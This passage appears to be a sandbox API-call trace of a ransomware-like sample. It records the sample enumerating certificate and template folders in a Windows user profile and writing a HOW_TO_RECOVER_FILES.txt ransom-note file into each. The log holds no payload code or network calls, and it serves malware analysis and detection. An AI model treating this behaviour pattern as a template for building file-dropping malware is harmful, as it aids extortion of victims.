(dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0256.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\appcontainerusercertread"), fInfoLevelId=0x0, lpFileInformation=0x3c9e248 | out: lpFileInformation=0x3c9e248*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xc6328090, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc6328090, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc6328090, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0256.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0256.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead", lpFilePart=0x0) returned 0x58 [0256.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0256.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\appcontainerusercertread"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.197] GetFileType (hFile=0x828) returned 0x1 [0256.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0256.198] GetFileType (hFile=0x828) returned 0x1 [0256.198] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x0 [0256.198] CloseHandle (hObject=0x828) returned 1 [0256.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead", lpFilePart=0x0) returned 0x58 [0256.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0256.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\appcontainerusercertread"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0256.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0256.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0256.413] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4c [0256.413] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0256.414] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.414] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.414] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0256.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0256.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0256.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0256.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4c [0256.430] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0256.446] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.446] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62a3729f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3b6c131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62a3729f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.446] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0256.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0256.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0256.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0256.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0256.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.453] GetFileType (hFile=0x828) returned 0x1 [0256.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0256.453] GetFileType (hFile=0x828) returned 0x1 [0256.454] WriteFile (in: hFile=0x828, lpBuffer=0x3c50b68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c50b68*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.454] CloseHandle (hObject=0x828) returned 1 [0256.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0256.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x44 [0256.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0256.455] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.455] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.455] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0256.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0256.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0256.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0256.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x44 [0256.455] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0256.456] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.456] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc5fe0cd1, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c4d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc5fe0cd1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.456] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0256.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0256.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0256.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0256.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0256.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.457] GetFileType (hFile=0x828) returned 0x1 [0256.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0256.457] GetFileType (hFile=0x828) returned 0x1 [0256.458] WriteFile (in: hFile=0x828, lpBuffer=0x3c62d50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c62d50*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.458] CloseHandle (hObject=0x828) returned 1 [0256.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0256.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x44 [0256.459] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0256.459] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.459] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.459] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0256.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0256.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0256.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0256.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x44 [0256.459] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0256.460] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.460] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc6243272, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd3b6c789, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6243272, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.460] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0256.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0256.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0256.460] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0256.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0256.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0256.461] GetFileType (hFile=0x828) returned 0x1 [0256.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0256.461] GetFileType (hFile=0x828) returned 0x1 [0256.461] WriteFile (in: hFile=0x828, lpBuffer=0x3c740f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c740f8*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.462] CloseHandle (hObject=0x828) returned 1 [0256.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x58 [0256.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0256.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\my\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0256.464] GetFileType (hFile=0x834) returned 0x1 [0256.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0256.464] GetFileType (hFile=0x834) returned 0x1 [0256.464] WriteFile (in: hFile=0x834, lpBuffer=0x3c779b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3c779b0*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0256.464] CloseHandle (hObject=0x834) returned 1 [0256.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0256.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0256.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\SystemCertificates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\systemcertificates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0256.465] GetFileType (hFile=0x834) returned 0x1 [0256.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0256.465] GetFileType (hFile=0x834) returned 0x1 [0256.466] WriteFile (in: hFile=0x834, lpBuffer=0x3c7b258*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3c7b258*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0256.466] CloseHandle (hObject=0x834) returned 1 [0256.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0256.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x33 [0256.466] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0256.468] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.468] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x348a4400, 